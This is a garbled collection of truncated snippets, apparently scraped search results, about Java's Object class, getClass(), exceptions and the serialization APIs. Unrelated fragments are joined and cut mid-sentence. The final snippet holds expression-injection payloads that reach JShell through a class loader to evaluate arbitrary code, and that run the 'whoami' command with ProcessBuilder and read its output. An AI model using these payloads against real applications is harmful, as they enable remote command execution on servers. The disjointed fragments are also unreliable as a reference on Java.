*/// private static class Atomic {// // initialize Unsafe machinery here, since we need to call Class.class instance method// // and have to avoid calling it in the static initializer of the Class class...// private static final Unsafe unsafe = Unsafe.getUnsafe();// // offset of C...
(3) 异常类:java.lang.Throwable–所有错误或异常的超类,两个子类: java.lang.Exception –合理的应用程序想要捕获的异常条件. java.lang.Error –不应该试图捕获的严重问题. 注意:运行时异常不需要强制声明,不需要强制捕获. (5) 处理异常: 抛出异常: 1.throws 作用:用来在方法的声明部分,定义可以抛出的异常类型...
* class of this object. * @jls 15.8.2 Class Literals */publicfinal native Class<?>getClass(); 这是一个final类型的native方法,也就是说这个方法不能被子类重写,同时它的实现并不是通过 Java 语言实现的,而是用其他语言(C/C++)实现的,我们得到某个对象的类型信息(Class类的对象)之后,我们就可以利用 J...
Return a string describing this ObjectStreamClass. Methods inherited from class java.lang.Object clone,equals,finalize,getClass,hashCode,notify,notifyAll,wait,wait,wait Field Detail NO_FIELDS public static finalObjectStreamField[] NO_FIELDS serialPersistentFields value indicating no serializable fields ...
Primitive data write of this String inmodified UTF-8format. Methods inherited from class java.lang.Object clone,equals,finalize,getClass,hashCode,notify,notifyAll,toString,wait,wait,wait Constructor Detail ObjectOutputStream public ObjectOutputStream(OutputStreamout) throwsIOException ...
Object 类的 getClass() 返回运行时类信息。 代码语言:javascript 代码运行次数:0 运行 AI代码解释 /** * Returns the runtime class of this {@code Object}. The returned * {@code Class} object is the object that is locked by {@code * static synchronized} methods of the represented class. *...
* including arrays, implement the methods of this class. * * @author unascribed * @see java.lang.Class * @since JDK1.0 */ 1. 2. 3. 4. 5. 6. 7. 8. 9. 它的意思是Object在类层级中是root,是每个类的父类。所有对象,包括数组以及类里面的方法。
当然了,由于继承的关系,子类可以使用Object的所有方法method。All objectsincludingarrays,implement the methods of this class。也就是说包括数组也是继承自Object。 任何一个Java类(除了Object类)都直接或者间接的继承于Object类。 Object类中声明的结构(属性、方法等)就具有通用性。但是,Object类中没有声明属性,提供...
In this case it is the responsibility of the subclass to save and restore the state of the non-serializable class. It is frequently the case that the fields of that class are accessible (public, package, or protected) or that there are get and set methods that can be used to restore ...
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('javapayload').toString() jdk原生类BufferedReader newjava.io.BufferedReader(newjava.io.InputStreamReader(newProcessBuilder("whoami").start().getInputStream(),"gbk")).readLine()...